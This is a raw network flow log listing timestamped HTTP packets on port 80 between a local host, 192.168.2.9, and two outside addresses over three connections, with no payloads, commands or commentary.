Sep 21, 2024 13:33:42.127562046 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127612114 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127644062 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127675056 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127676010 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127710104 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127715111 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127743959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127770901 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127777100 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127850056 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127882004 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127896070 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127914906 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127931118 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127947092 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127964973 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127979994 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127989054 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128012896 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128026009 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128046989 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128056049 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128079891 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128089905 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128115892 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128118992 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128156900 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128376961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128410101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128432989 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128442049 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128454924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128479958 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128490925 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128514051 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128525972 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128545046 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128556967 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128577948 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128590107 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128612041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128624916 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128648043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128659964 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128680944 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128695965 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128712893 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128727913 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128746033 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128771067 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128779888 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128794909 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128820896 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128829002 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128896952 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128917933 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128952026 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128963947 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.128984928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.128993988 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129031897 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129050016 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129069090 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129072905 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129115105 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129235029 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129266977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129287958 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129311085 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129412889 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129462957 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129470110 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129497051 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129528999 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129538059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129563093 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129585028 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129595041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129622936 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129628897 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129657984 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129662991 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129678965 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129694939 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129726887 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129734039 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129759073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129771948 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129791975 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129816055 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129823923 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129856110 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129870892 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129870892 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129889011 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.129919052 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129940033 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.129977942 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130012989 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130044937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130068064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130068064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130079985 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130094051 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130115986 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130388021 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130619049 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130652905 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130676031 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130685091 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130717993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130742073 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130742073 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130748987 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130776882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130784035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130803108 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130817890 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130851030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130861044 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130861044 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130883932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130906105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130916119 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130945921 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.130949974 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.130973101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.131002903 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.131002903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.131069899 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.131104946 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.131104946 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.131155968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.131155968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136642933 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136677027 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136709929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136760950 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136769056 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136795044 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136814117 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136826038 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136837959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136862040 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136878014 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136893034 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136907101 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136928082 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136935949 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136960983 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.136970997 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.136993885 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137002945 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137027025 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137036085 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137059927 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137068987 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137095928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137118101 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137140989 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137161970 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137207985 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137420893 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137454987 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137471914 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137486935 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137499094 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137531996 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137592077 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137624979 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137640953 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137659073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137671947 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137691975 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137701988 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137725115 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137734890 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137758017 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.137770891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.137800932 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138319969 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138370991 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138382912 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138408899 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138411999 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138448000 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138462067 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138480902 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138489008 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138513088 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138525009 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138546944 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138556004 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138578892 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138587952 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138647079 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138664961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138698101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138717890 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138731003 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138741970 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138771057 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138839960 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138871908 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138895988 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138905048 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138915062 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138936043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.138950109 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138978958 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.138987064 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139020920 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139030933 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139055014 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139064074 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139087915 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139096975 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139121056 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139131069 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139153957 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139162064 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139187098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139200926 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139220953 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139230013 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139255047 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139266014 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139287949 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139297962 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139326096 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139334917 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139362097 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139365911 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139406919 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.139408112 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139453888 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.139751911 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.144038916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144102097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144136906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144237995 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144237995 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144678116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144711018 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144743919 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144777060 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144815922 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144835949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144835949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144865990 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144869089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144898891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144931078 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144944906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144946098 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.144964933 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.144999027 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145011902 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145011902 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145030975 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145062923 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145078897 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145078897 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145096064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145148993 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145148993 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145176888 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145210981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145256042 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145256042 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145648003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145682096 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145714045 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145735025 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145750046 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145760059 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145775080 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145782948 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145816088 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145828962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145828962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145849943 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145870924 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145883083 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145916939 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145924091 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145925045 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145947933 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.145971060 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.145982027 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146013975 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146035910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146035910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146044970 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146078110 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146090984 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146090984 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146126032 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146703959 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146738052 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146770000 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146778107 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146806002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146811962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146811962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146838903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146872997 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146887064 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146887064 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146905899 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146939993 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146940947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146975994 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.146991968 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.146991968 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.147037029 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.147249937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147325993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147349119 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147360086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147389889 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147404909 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147412062 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147445917 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147459030 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147480965 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147486925 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147515059 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147536993 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147547960 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147582054 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147603035 CEST	49709	80	192.168.2.9	147.45.44.104
